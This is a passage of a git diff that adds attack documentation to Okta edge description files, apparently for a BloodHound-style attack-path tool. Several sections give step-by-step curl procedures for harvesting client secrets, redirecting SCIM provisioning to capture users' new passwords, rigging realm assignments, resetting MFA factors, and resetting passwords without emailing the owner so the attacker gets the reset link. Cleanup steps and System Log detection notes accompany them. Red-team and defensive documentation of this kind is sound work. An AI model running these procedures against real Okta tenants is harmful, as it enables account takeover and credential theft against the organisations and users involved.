/tmp/okta-readsecret-token.json + + export OKTA_ACCESS_TOKEN="$(jq -r '.access_token' /tmp/okta-readsecret-token.json)" + ``` + + A successful response contains `token_type`, `expires_in`, `scope`, and `access_token`. + +5. Verify the token against an API allowed by the owning application. For an Okta Management API token with an Okta scope, call a matching Okta endpoint with `Authorization: Bearer`. + + ```bash + curl -sS \ + -H "Authorization: Bearer $OKTA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps?limit=1" \ + | jq -r '.[] | [.id, .label, .status] | @tsv' + ``` + + If the token is for a custom authorization server or downstream API, verify it against that downstream resource server instead. + +## Cleanup after Abuse + +Cleanup for `Okta_ReadClientSecret` means treating the destination client secret as exposed, rotating or deleting it, revoking tokens minted with it where possible, and removing any temporary access used to read it. + +Cleanup using Admin Console: + +1. Open **Applications** > **Applications** and select the application that owns the destination `Okta_ClientSecret`. +2. On the **General** tab, go to **Client Credentials**. +3. Generate a replacement secret and update the legitimate integration to use it. +4. Deactivate the exposed destination secret after the replacement is in use. +5. Delete the inactive exposed secret if it is no longer needed. +6. Remove any temporary group membership, role assignment, or application admin access that was added to give the source principal `Okta_ReadClientSecret`. +7. Revoke downstream tokens or sessions issued to the owning application where supported. +8. Verify the exposed secret can no longer mint tokens and the source principal no longer has unintended secret-read access. + +Cleanup using API: + +1. Set cleanup variables for the exposed destination secret, any minted token, and any temporary group membership used to reach the source principal. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_APP_ID="0oa..." + export TARGET_SECRET_ID="ocs..." + export CLIENT_ID="0oa..." + export OLD_CLIENT_SECRET="REDACTED_EXPOSED_SECRET" + export TOKEN_SCOPE="custom.scope" + export TOKEN_ENDPOINT="$OKTA_ORG/oauth2/default/v1/token" + export REVOKE_ENDPOINT="$OKTA_ORG/oauth2/default/v1/revoke" + export MINTED_ACCESS_TOKEN="eyJ..." + export TEMP_GROUP_ID="00g..." + export ATTACKER_USER_ID="00u..." + ``` + +2. Create a replacement secret for the owning application. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d '{}' \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets" \ + | tee /tmp/okta-readsecret-replacement.json + + export NEW_CLIENT_SECRET="$(jq -r '.client_secret' /tmp/okta-readsecret-replacement.json)" + export NEW_SECRET_ID="$(jq -r '.id' /tmp/okta-readsecret-replacement.json)" + ``` + +3. Confirm both the replacement and exposed secret records before changing production. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets" \ + | jq -r '.[] | [.id, .secret_hash, .status, .created, .lastUpdated] | @tsv' + ``` + +4. After the legitimate integration uses `NEW_CLIENT_SECRET`, deactivate the exposed destination secret. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets/$TARGET_SECRET_ID/lifecycle/deactivate" + ``` + + A successful response returns the secret with `status` set to `INACTIVE`. + +5. Delete the inactive exposed secret. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets/$TARGET_SECRET_ID" + ``` + + A successful delete returns `204 No Content`. + +6. Revoke a known token minted with the exposed secret. Token revocation returns `200 OK` even when the token is already invalid. + + ```bash + curl -i -sS -X POST \ + -u "$CLIENT_ID:$NEW_CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "token=$MINTED_ACCESS_TOKEN" \ + --data-urlencode "token_type_hint=access_token" \ + "$REVOKE_ENDPOINT" + ``` + +7. Remove temporary membership if the attacker joined a group to become the source principal for this edge. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$ATTACKER_USER_ID" + ``` + + A successful removal returns `204 No Content`. + +8. Verify the old secret can no longer mint tokens. + + ```bash + curl -i -sS -X POST \ + -u "$CLIENT_ID:$OLD_CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + "$TOKEN_ENDPOINT" + ``` + + The expected result is an OAuth error such as `invalid_client`. + +9. Verify the source principal's read path is gone if cleanup removed temporary membership or role access. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets/$TARGET_SECRET_ID" + ``` + + If the secret was deleted, the expected result is `404 Not Found`. If only source access was removed, repeat the request with the former source principal's credential and expect `403 Forbidden`. + +## Opsec Considerations + +Reading a client secret through Okta and then using it creates two audit trails: the secret-read event under the source principal and OAuth/API activity under the owning application. Relevant System Log event types include `app.oauth2.client.read_client_secret`, `app.oauth2.credentials.lifecycle.create`, `app.oauth2.credentials.lifecycle.activate`, `app.oauth2.credentials.lifecycle.deactivate`, `app.oauth2.credentials.lifecycle.delete`, `app.oauth2.invalid_client_credentials`, `app.oauth2.token.revoke`, and `app.oauth2.as.token.revoke`. + +Defenders should correlate the source principal, owning application, secret ID/hash, source IP, user agent, and requested scopes. Reading a secret shortly before an unusual client-credentials token grant, creating a second secret outside a deployment window, or using the client from a new network is a strong signal. If the source is a group, also review group membership changes; if the source is an application, review service-app role assignment and token issuance events. + +## References + +- [Okta Application OAuth 2.0 client secret API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationSSOCredentialOAuth2ClientAuth/) +- [Okta Applications API: Retrieve an application](https://developer.okta.com/docs/reference/api/apps/#retrieve-an-application) +- [Okta client secret rotation](https://developer.okta.com/docs/guides/client-secret-rotation-key/main/) +- [Okta client authentication methods](https://developer.okta.com/docs/api/openapi/okta-oauth/guides/client-auth/) +- [Okta revoke tokens](https://developer.okta.com/docs/guides/revoke-tokens/main/) +- [Okta custom role permissions](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta Group API: Unassign a user from a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/unassignUserFromGroup) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Okta manage secrets and keys for OIDC apps](https://help.okta.com/en-us/Content/Topics/apps/oauth-client-cred-mgmt.htm) +- [Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) +- [Okta Post-Exploitation Toolkit](https://github.com/xpn/OktaPostExToolkit) diff --git a/descriptions/edges/Okta_ReadPasswordUpdates.md b/descriptions/edges/Okta_ReadPasswordUpdates.md index 1b59954..6fce6dd 100644 --- a/descriptions/edges/Okta_ReadPasswordUpdates.md +++ b/descriptions/edges/Okta_ReadPasswordUpdates.md @@ -1,6 +1,6 @@ ## General Information -The traversable Okta_ReadPasswordUpdates edges represent applications that can read password updates over SCIM. +The traversable Okta_ReadPasswordUpdates edges represent applications that can receive password updates from Okta over SCIM or a provisioning connector. ```mermaid graph LR @@ -12,3 +12,174 @@ graph LR user -- Okta_SuperAdmin --> org user2 -- Okta_AppAdmin --> app ``` + +## Abuse Info + +An attacker who controls the source application, its provisioning endpoint, or its provisioning credentials can receive password update events for the destination user when Okta is configured to push password changes to that application. This can expose the user's new password during a reset or password-change workflow. + +This edge is directly abusable when the attacker can read the existing provisioning receiver's logs or traffic. It can also be abused through an adjacent app-admin path, such as `Okta_AppAdmin` or `Okta_ManageApp`, by redirecting or modifying the app's SCIM/provisioning connection and then triggering a controlled password update for the destination user. + +Using the Admin Console: + +1. Gain control of the source application or an Okta admin path that can manage the source application's provisioning settings. +2. Open **Applications** > **Applications** and select the source application. +3. Review the provisioning settings and confirm password update push is enabled for the app. +4. If you control the existing provisioning endpoint, monitor the SCIM server or connector logs for password update requests. +5. If you can manage the app, temporarily point the SCIM or provisioning endpoint to controlled infrastructure, or add logging to the existing endpoint. +6. Trigger a password reset for the destination user or wait for the user to change their password. +7. Capture the password value delivered to the provisioning endpoint. +8. Authenticate as the destination user where MFA and sign-on policy allow, or reuse the password in downstream systems where applicable. + +Using the Okta API: + +1. Set the Okta org URL, API credential, source application ID, and destination user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_APP_ID="0oa..." + export TARGET_USER_ID="00u..." + ``` + +2. Verify that the source application has password update push enabled. The feature list should include the password update feature used by the collector, such as `PUSH_PASSWORD_UPDATES`. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/features" \ + | jq -r '.[] | [.name, .status] | @tsv' + ``` + +3. Verify the destination user is assigned to the source application. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users/$TARGET_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +4. Retrieve the application's provisioning connection before making changes. Save this output so the endpoint, authentication scheme, and credentials can be restored. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/connections/default" \ + | tee /tmp/okta-read-password-updates-connection.json \ + | jq '{status, authScheme, profile}' + ``` + +5. Start or prepare a controlled SCIM/provisioning receiver. The exact receiver depends on the target application connector. The Okta SCIM Attack Tool can be used for research workflows where a controlled SCIM server is appropriate. + +6. If you have permission to update the provisioning connection through API, update it using the Application Connections API with a connector-specific body that preserves required fields and points to the controlled receiver. Otherwise, make the endpoint change in the Admin Console and keep the original connection output from the previous step for cleanup. + +7. Trigger a password reset for the destination user and capture the reset URL. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=false&revokeSessions=false" \ + | tee /tmp/okta-read-password-updates-reset.json + + jq -r '.resetPasswordUrl' /tmp/okta-read-password-updates-reset.json + ``` + + A successful response contains a one-time `resetPasswordUrl`. Complete the reset flow and set a known password. If password update push is enabled, Okta sends the password update to the source application's provisioning endpoint. + +8. Watch the controlled endpoint or existing provisioning logs for the password update request, then attempt authentication as the destination user or continue along the user's downstream edges. + +9. Verify the app-user sync state after the password update. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users/$TARGET_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_ReadPasswordUpdates` means treating the destination user's password and the source application's provisioning connection as exposed: restore the original endpoint, rotate provisioning credentials, force a legitimate password reset, and remove captured secrets from tooling and logs. + +Cleanup using Admin Console: + +1. Open **Applications** > **Applications** and select the source application. +2. Restore the original SCIM or provisioning endpoint, authentication scheme, and attribute mappings. +3. Rotate the provisioning credential or bearer token used by the source application. +4. Remove captured passwords from controlled receivers, logs, shell history, and notes. +5. Force a legitimate password reset for the destination user and revoke sessions. +6. Run or wait for provisioning and verify the source application reports a healthy connection. + +Cleanup using API: + +1. Verify the current provisioning connection and compare it with the saved original output. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/connections/default" \ + | jq '{status, authScheme, profile}' + ``` + +2. Restore the original provisioning connection with the Application Connections API or the Admin Console. The update body is connector-specific; use the saved `/tmp/okta-read-password-updates-connection.json` as the source of truth for endpoint, auth scheme, and profile values. + +3. Trigger a legitimate password reset for the destination user, send the reset to the user, and revoke active sessions. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=true&revokeSessions=true" + ``` + +4. Revoke remaining Okta sessions and OAuth tokens for the destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true" + ``` + +5. Trigger an app-user sync or wait for normal provisioning to verify the restored endpoint works. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users/$TARGET_USER_ID/lifecycle/sync" + ``` + +6. Confirm the application user remains assigned and healthy after cleanup. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users/$TARGET_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +## Opsec Considerations + +Relevant telemetry can include application provisioning connection changes, password reset events, user password updates, app-user sync activity, and outbound provisioning failures. Redirecting a SCIM endpoint can break legitimate provisioning and is likely to be noticed quickly if the application is actively used. + +Password resets for privileged users are high-signal events. If the source application starts receiving password updates from a new endpoint, source IP, or credential shortly before a privileged login, defenders can correlate the reset, provisioning event, and subsequent authentication. + +## References + +- [Okta Application Features API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationFeatures/) +- [Okta Application Connections API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationConnections/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta User Lifecycle API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserLifecycle/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [AppOmni: Okta PassBleed Risks](https://appomni.com/ao-labs/okta-passbleed-risks/) +- [Okta SCIM Attack Tool](https://github.com/authomize/okta_scim_attack_tool) diff --git a/descriptions/edges/Okta_RealmContains.md b/descriptions/edges/Okta_RealmContains.md index ced9746..c53df8b 100644 --- a/descriptions/edges/Okta_RealmContains.md +++ b/descriptions/edges/Okta_RealmContains.md @@ -16,3 +16,193 @@ graph LR > [!NOTE] > Okta Realms are currently not supported by BloodHound due to licensing restrictions. + +## Abuse Info + +`Okta_RealmContains` is a realm membership fact, not a credential by itself. An attacker who controls the source realm, a realm assignment rule, or a role scoped to that realm can affect the destination user by changing which policies, IdP routing decisions, delegated administrators, and profile-source rules apply to that user. + +To abuse this edge from realm-level control: + +1. Identify the destination user and confirm the user's `realmId` matches the source realm. +2. Identify which controls are realm-aware in the tenant, such as realm assignments, realm-scoped IdP routing, profile enrollment, sign-on policies, or delegated admin scopes. +3. If the attacker controls realm assignment logic, update the assignment expression or profile-source condition so the destination user remains in the source realm while a controlled user is also moved into the same realm. +4. If the attacker controls a realm-scoped admin role, use the role's derived edge against the destination user, such as `Okta_ResetPassword`, `Okta_ResetFactors`, `Okta_GroupAdmin`, or `Okta_HelpDeskAdmin`. +5. If the attacker controls IdP routing or policy for the realm, route the destination user's next sign-in through a weaker or attacker-controlled IdP, or reduce the authenticator requirements for that realm. +6. Trigger the policy or assignment to re-evaluate by executing the realm assignment, updating the user's profile attribute used in the rule, or waiting for the next profile-source sync/sign-in. +7. Use the resulting session, reset, group membership, or application assignment to continue the path. + +Using the Admin Console: + +1. Sign in as an administrator with realm, profile-source, policy, or delegated-admin authority. +2. Open the realm configuration and identify the source realm from the edge. +3. Review realm assignment rules and note the profile source and expression that place users in the source realm. +4. Adjust the smallest applicable control: add a controlled user to the realm, update the realm assignment expression, change a realm-scoped policy, or adjust realm-scoped IdP routing. +5. Execute or reprocess the realm assignment if the UI offers that action, or trigger the profile-source sync that applies the rule. +6. Verify the destination user and controlled user receive the expected realm-specific policy or delegated-admin path. +7. Perform the concrete action represented by the adjacent edge, such as resetting credentials, adding group membership, or routing a sign-in through an attacker-controlled IdP. + +Using the Okta API: + +1. Set variables for the realm, destination user, realm assignment, and a profile value that temporarily satisfies the realm assignment expression. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export REALM_ID="vvrc..." + export REALM_ASSIGNMENT_ID="rul..." + export TARGET_USER_ID="00u..." + export CONTROLLED_USER_ID="00u..." + export TEMP_REALM_EXPRESSION='user.profile.department=="RealmOps"' + ``` + +2. Confirm the destination user is contained by the source realm and capture the current realm assignment. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID" \ + | jq '{id, status, login: .profile.login, realmId}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/realm-assignments/$REALM_ASSIGNMENT_ID" \ + | tee /tmp/okta-realm-assignment-original.json + ``` + +3. Replace the realm assignment with an expression that also captures the controlled user. The exact expression is tenant-specific; preserve the original `profileSourceId`, `name`, and `priority`. + + ```bash + jq --arg realm "$REALM_ID" --arg expr "$TEMP_REALM_EXPRESSION" ' + .actions.assignUserToRealm.realmId = $realm | + .conditions.expression.value = $expr | + del(.id, .created, .lastUpdated, .domains, .isDefault, .status, ._links) + ' /tmp/okta-realm-assignment-original.json > /tmp/okta-realm-assignment-abuse.json + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-realm-assignment-abuse.json \ + "$OKTA_ORG/api/v1/realm-assignments/$REALM_ASSIGNMENT_ID" + ``` + + A successful replacement returns `200 OK` with the updated assignment. + +4. Execute the assignment so Okta re-evaluates users for the source realm. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"assignmentId\":\"$REALM_ASSIGNMENT_ID\"}" \ + "$OKTA_ORG/api/v1/realm-assignments/operations" \ + | tee /tmp/okta-realm-assignment-operation.json + + jq '{id, type, status, realmId, realmName, numUserMoved}' /tmp/okta-realm-assignment-operation.json + ``` + + A successful request returns `201 Created` and an operation object. + +5. Verify the controlled user is now in the source realm, then use the adjacent realm-scoped privilege. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID" \ + | jq '{id, status, login: .profile.login, realmId}' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_RealmContains` restores the realm assignment or realm-scoped control that was changed, moves any temporarily captured users back to their intended realm, and removes the user-level access created through the realm-specific path. + +Cleanup using Admin Console: + +1. Restore the original realm assignment expression, profile-source condition, realm-scoped policy, delegated-admin scope, or IdP routing rule. +2. Re-run the realm assignment or source sync so temporary realm membership is recalculated. +3. Remove any temporary group memberships, app assignments, authenticators, or user profile changes created through the realm-scoped access. +4. Revoke sessions for any controlled or destination users who authenticated under the temporary realm state. +5. Verify the destination user and controlled user have the expected `realmId` and receive the intended policy set. + +Cleanup using API: + +1. Restore the saved realm assignment. + + ```bash + jq ' + del(.id, .created, .lastUpdated, .domains, .isDefault, .status, ._links) + ' /tmp/okta-realm-assignment-original.json > /tmp/okta-realm-assignment-restore.json + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-realm-assignment-restore.json \ + "$OKTA_ORG/api/v1/realm-assignments/$REALM_ASSIGNMENT_ID" + ``` + +2. Execute the restored assignment. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"assignmentId\":\"$REALM_ASSIGNMENT_ID\"}" \ + "$OKTA_ORG/api/v1/realm-assignments/operations" \ + | jq '{id, status, realmId, numUserMoved}' + ``` + +3. Remove temporary group membership or app assignment created after realm control was abused. + + ```bash + export TEMP_GROUP_ID="00g..." + export TEMP_APP_ID="0oa..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$CONTROLLED_USER_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TEMP_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Revoke sessions and OAuth tokens for users who authenticated under the temporary realm state. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify realm membership is back to the intended state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID" \ + | jq '{id, login: .profile.login, realmId}' + ``` + +## Opsec Considerations + +`Okta_RealmContains` itself is graph metadata. Abuse creates telemetry from realm assignment replacement/execution, user profile updates, group/app membership changes, IdP routing changes, password or factor resets, and new sign-ins under the affected realm policy. Realm APIs are licensing-dependent, so defenders should also review source-system or governance logs that feed realm assignment conditions. + +## References + +- [Okta Realms API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Realm/) +- [Okta Realm Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RealmAssignment/) +- [Okta Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/User/) +- [Okta Group API: Unassign a user from a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/unassignUserFromGroup) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_ResetFactors.md b/descriptions/edges/Okta_ResetFactors.md index 177206f..1718818 100644 --- a/descriptions/edges/Okta_ResetFactors.md +++ b/descriptions/edges/Okta_ResetFactors.md @@ -10,3 +10,108 @@ graph LR g1 -- Okta_ResetFactors --> u1 u2 -- Okta_ResetFactors --> u1 ``` + +## Abuse Info + +An attacker who controls the source principal can reset all enrolled authenticators for the destination user. By itself, this does not provide the user's password, but it removes the MFA barrier for password reset, password sync, known-password, session theft, or social-engineering paths. The edge may originate from a user, a group with the custom role assignment, or a service application/client with the custom admin role assignment. + +For a user source, sign in to the Admin Console as that user. For a group source, compromise any member of the source group. For an application source, authenticate as the service app or client and use its management API access. + +Using the Admin Console: + +1. Authenticate to Okta as the source user, as a member of the source group, or as the source service application. +2. Open **Directory** > **People** and select the destination user from the edge. +3. Use the user action to reset the user's multifactor authentication or authenticators. +4. Obtain or set the user's password through another path, such as `Okta_ResetPassword`, `Okta_HelpDeskAdmin`, `Okta_PasswordSync`, credential theft, or password spraying. +5. Sign in as the destination user and enroll attacker-controlled authenticators when Okta prompts for re-enrollment. +6. Launch the user's applications or use their administrative access once the new authenticator is accepted. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, and the destination user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_USER_ID="00u..." + ``` + +2. Confirm that the user currently has enrolled factors. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors" \ + | jq -r '.[] | [.id, .factorType, .provider, .status] | @tsv' + ``` + +3. Reset all enrolled factors for the destination user. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_factors" + ``` + +4. Pair the reset with a password path and complete a new sign-in as the destination user. +5. Verify attacker enrollment by listing factors again after sign-in and checking for the new factor ID, provider, or device. + +## Cleanup after Abuse + +Cleanup removes attacker-controlled authenticators from the destination user, restores legitimate factor enrollment, and revokes sessions created after the factor reset. + +Cleanup using Admin Console: + +1. Open **Directory** > **People** and select the destination user. +2. Review the user's enrolled authenticators. +3. Remove attacker-controlled authenticators. +4. Require the user to re-enroll legitimate authenticators through the normal recovery process. +5. Clear active sessions created after the reset if they are no longer needed. + +Cleanup using API: + +1. List the factors enrolled after the reset and identify attacker-controlled enrollments. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors" + ``` + +2. Delete each attacker-controlled factor. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors/$FACTOR_ID" + ``` + +3. Revoke sessions, OAuth tokens, and remembered devices created during the abuse. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + +4. Verify the factor list contains only expected authenticators after the legitimate user re-enrolls. + +## Opsec Considerations + +Authenticator resets, factor deletion, factor enrollment, remembered-device changes, and follow-on sign-ins are recorded in the Okta System Log. Relevant event types include `user.mfa.factor.reset_all`, `user.mfa.factor.deactivate`, `user.mfa.factor.activate`, `user.session.clear`, and `user.session.start`. + +Resetting authenticators shortly before a password reset, login from a new device, or access to the Okta Admin Console is a strong account takeover indicator. The API path also records the caller, source IP, user agent, request URI, and target user. + +## References + +- [Okta User Lifecycle API: Reset the factors](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserLifecycle/) +- [Okta User Factors API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta custom role permissions](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) diff --git a/descriptions/edges/Okta_ResetPassword.md b/descriptions/edges/Okta_ResetPassword.md index 4d8933e..d46f969 100644 --- a/descriptions/edges/Okta_ResetPassword.md +++ b/descriptions/edges/Okta_ResetPassword.md @@ -31,3 +31,127 @@ graph TD g1 -- Okta_ResetPassword --> u2 g1 -- Okta_ResetFactors --> u2 ``` + +## Abuse Info + +An attacker who controls the source principal can reset or expire the destination user's Okta password. This can become account takeover when the attacker obtains the reset link, captures a temporary password, or pairs the password reset with a factor-reset path. The edge may originate from a user, a group with the custom role assignment, or a service application/client with the custom admin role assignment. + +For a user source, sign in to the Okta Admin Console as that user. For a group source, compromise any member of the source group and sign in as that member. For an application source, authenticate as the service app or client and use an OAuth access token with the management scopes granted by the role assignment. + +Using the Admin Console: + +1. Authenticate to Okta as the source user, as a member of the source group, or as the source service application. +2. Open **Directory** > **People** and select the destination user from the edge. +3. Use the password action available to the delegated admin role, such as reset password, expire password, or set a temporary password. +4. Capture the reset URL, one-time token, or temporary password if Okta returns it to the admin instead of emailing it to the user. +5. If MFA blocks sign-in, combine this edge with `Okta_ResetFactors`, `Okta_HelpDeskAdmin`, a known enrolled factor, or another path that lets the attacker satisfy MFA. +6. Complete the recovery or next-login flow as the destination user, enroll attacker-controlled authenticators if prompted, and use the user's Okta, application, or admin access. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, and the destination user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_USER_ID="00u..." + ``` + +2. Reset the destination user's password and return the recovery artifact to the caller instead of emailing it to the user. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=false&revokeSessions=true" + ``` + + If using OAuth instead of an SSWS token, replace the authorization header with `Authorization: Bearer $OKTA_ACCESS_TOKEN`. + +3. If the role includes temporary-password capability, expire the current password and ask Okta to create a temporary password. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/expire_password_with_temp_password?revokeSessions=true" + ``` + +4. Use the returned reset URL, one-time token, or `tempPassword` to complete sign-in as the destination user. +5. Verify takeover by querying the user status or by launching an application as the destination user. + + ```bash + curl -sS \ + -H "Authorization: 